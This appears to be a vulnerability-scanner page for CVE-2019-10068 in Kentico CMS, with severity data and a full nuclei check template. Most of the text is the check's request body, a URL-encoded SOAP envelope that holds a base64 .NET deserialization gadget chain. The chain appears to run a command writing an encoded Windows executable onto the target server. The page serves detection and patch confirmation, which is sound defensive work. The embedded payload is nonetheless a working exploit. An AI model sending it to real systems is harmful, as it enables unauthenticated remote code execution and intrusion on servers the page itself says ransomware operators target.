Kentico CMS Insecure Deserialization Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

criticalseverity

9.8CVSS score

95.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Kentico CMS is susceptible to remote code execution via a .NET deserialization vulnerability.

Impact

Successful exploitation of this vulnerability can result in remote code execution, allowing an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches and updates provided by Kentico CMS to mitigate this vulnerability.

How to confirm it

Send: POST {{BaseURL}}/CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData
Positive when: contains "System.InvalidCastException" and "System.Web.Services.Protocols.SoapException" AND status 500

Run it with nuclei: nuclei -id CVE-2019-10068 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-10068

info:
  name: Kentico CMS Insecure Deserialization Remote Code Execution
  author: davidmckennirey
  severity: critical
  description: Kentico CMS is susceptible to remote code execution via a .NET deserialization vulnerability.
  impact: |
    Successful exploitation of this vulnerability can result in remote code execution, allowing an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches and updates provided by Kentico CMS to mitigate this vulnerability.
  reference:
    - https://www.aon.com/cyber-solutions/aon_cyber_labs/unauthenticated-remote-code-execution-in-kentico-cms/
    - https://packetstormsecurity.com/files/157588/Kentico-CMS-12.0.14-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10068
    - https://github.com/rapid7/metasploit-framework/pull/13107
    - http://packetstormsecurity.com/files/157588/Kentico-CMS-12.0.14-Remote-Command-Execution.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-10068
    cwe-id: CWE-502
    epss-score: 0.95074
    epss-percentile: 0.99863
    cpe: cpe:2.3:a:kentico:kentico:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kentico
    product: kentico
    shodan-query: cpe:"cpe:2.3:a:kentico:kentico"
  tags: cve,cve2019,kentico,iis,packetstorm,rce,deserialization,kev,msf,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData"

    body: "stagingTaskData=%3cSOAP-ENV%3aEnvelope%20xmlns%3axsi%3d%22http%3a//www.w3.org/2001/XMLSchema-instance%22%20xmlns%3axsd%3d%22http%3a//www.w3.org/2001/XMLSchema%22%20xmlns%3aSOAP-ENC%3d%22http%3a//schemas.xmlsoap.org/soap/encoding/%22%20xmlns%3aSOAP-ENV%3d%22http%3a//schemas.xmlsoap.org/soap/envelope/%22%20xmlns%3aclr%3d%22http%3a//schemas.microsoft.com/soap/encoding/clr/1.0%22%20SOAP-ENV%3aencodingStyle%3d%22http%3a//schemas.xmlsoap.org/soap/encoding/%22%3e%0a%20%20%3cSOAP-ENV%3aBody%3e%0a%20%20%20%20%3ca1%3aWindowsIdentity%20id%3d%22ref-1%22%20xmlns%3aa1%3d%22http%3a//schemas.microsoft.com/clr/nsassem/System.Security.Principal/mscorlib%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3db77a5c561934e089%22%3e%0a%20%20%20%20%20%20%3cSystem.Security.ClaimsIdentity.actor%20id%3d%22ref-2%22%20xmlns%3d%22%22%20xsi%3atype%3d%22xsd%3astring%22%3eAAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAALoXL2MgZWNobyBUVnFRQUFNQUFBQUVBQUFBLy84QUFMZ0FBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTZBQUFBQTRmdWc0QXRBbk5JYmdCVE0waFZHaHBjeUJ3Y205bmNtRnRJR05oYm01dmRDQmlaU0J5ZFc0Z2FXNGdSRTlUSUcxdlpHVXVEUTBLSkFBQUFBQUFBQUNUT1BEVzExbWVoZGRabm9YWFdaNkZyRVdTaGROWm5vVlVSWkNGM2xtZWhiaEdsSVhjV1o2RnVFYWFoZFJabm9YWFdaK0ZIbG1laFZSUnc0WGZXWjZGZzNxdWhmOVpub1VRWDVpRjFsbWVoVkpwWTJqWFdaNkZBQUFBQUFBQUFBQUFBQUFBQUFBQUFGQkZBQUJNQVFRQU81UnRTZ0FBQUFBQUFBQUE0QUFQQVFzQkJnQUFzQUFBQUtBQUFBQUFBQUNiaFFBQUFCQUFBQURBQUFBQUFFQUFBQkFBQUFBUUFBQUVBQUFBQUFBQUFBUUFBQUFBQUFBQUFHQUJBQUFRQUFBQUFBQUFBZ0FBQUFBQUVBQUFFQUFBQUFBUUFBQVFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFiTWNBQUhnQUFBQUFVQUVBeUFjQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU9EQkFBQWNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBREFBQURnQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTG5SbGVIUUFBQUJtcVFBQUFCQUFBQUN3QUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQVlDNXlaR0YwWVFBQTVnOEFBQURBQUFBQUVBQUFBTUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFBRUF1WkdGMFlRQUFBRnh3QUFBQTBBQUFBRUFBQUFEUUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFEQUxuSnpjbU1BQUFESUJ3QUFBRkFCQUFBUUFBQUFFQUVBQUFBQUFBQUFBQUFBQUFBQVFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB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    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'System.InvalidCastException'
          - 'System.Web.Services.Protocols.SoapException'
        condition: and

      - type: status
        status:
          - 500

References

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